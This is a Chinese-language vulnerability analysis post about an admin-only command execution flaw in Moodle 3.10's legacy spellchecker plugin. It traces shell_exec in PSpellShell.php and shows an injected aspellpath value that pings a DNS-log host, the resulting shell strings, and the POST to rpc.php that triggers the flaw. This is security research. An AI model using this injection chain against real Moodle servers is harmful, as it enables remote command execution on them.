Moodle 拼写检查插件 rce 分析

Moodle 3.10 中默认的旧版拼写检查器插件中存在命令执行漏洞。一系列特制的 HTTP 请求可以导致命令执行。攻击者必须具有管理员权限才能利用此漏洞。

前言

Moodle 是世界上最流行的学习管理系统。在几分钟内开始创建您的在线学习网站!

Moodle 3.10 中默认的旧版拼写检查器插件中存在命令执行漏洞。一系列特制的 HTTP 请求可以导致命令执行。攻击者必须具有管理员权限才能利用此漏洞。

过程分析

对于PHP代码审计,一般会先看常见危险函数,参数是否可控。
全局搜索危险函数:shell_exec,程序有两处调用,让我们进一步跟踪,看参数是否可控。

跟进PSpellShell.php文件31行处的调用

进一步跟进参数$cmd,来自19行处$this->_getCMD($lang);调用,一般情况下,这时候要看变量$lang的来源了。此处我们先看下_getCMD()方法

可以看到,有两个参数可控,其中一个$lang,不过,这个变量不能存在_-a-z这些字符,局限性比较大。不如来跟进$bin这个变量
跟进$this->_config

$CFG是一个全局变量,用来存储所有配置项,不用过多考虑,下面直接全局搜索aspellpath

在文件config-dist.php:1038处,我们知道这个变量是指定拼写检查插件的位置。接下来,再找找哪里可以设置这个参数

如下,管理员设置系统路径配置的一个方法,构造url:http://moodle.langke.com/admin/settings.php?section=systempaths

根据位置,构造payload:

$aspellpath = 'ping ihamhr.dnslog.cn ||'

if (preg_match("#win#i", php_uname()))
            return "$bin -a --lang=$lang --encoding=utf-8 -H < $file 2>&1";

        return "cat $file | $bin -a --lang=$lang --encoding=utf-8 -H";

// 最终shell_exec()执行的语句
# win
'ping ihamhr.dnslog.cn ||-a --lang=$lang --encoding=utf-8 -H < $file 2>&1'
# linux 
'cat $file | ping ihamhr.dnslog.cn ||-a --lang=$lang --encoding=utf-8 -H'

下面找到调用这个插件的地方

设置拼写检查器引擎为PSpellShell

下面调用,跟进config.php文件30行,

跟进rcp.php,最终可以通过这个文件触发漏洞位置

关键代码,给method参数传入PSpellShell类有漏洞的方法·checkWords或者getSuggestions

构造post请求:url: lib/editor/tinymce/plugins/spellchecker/rpc.php

{"method":"getSuggestions","params":["1","2"]}

验证

设置paylaod

设置引擎

触发:

  • 发表于 2021-09-16 11:47:19
  • 阅读 ( 6744 )
  • 分类:漏洞分析

0 条评论

请先 登录 后评论
langke
langke

2 篇文章

站长统计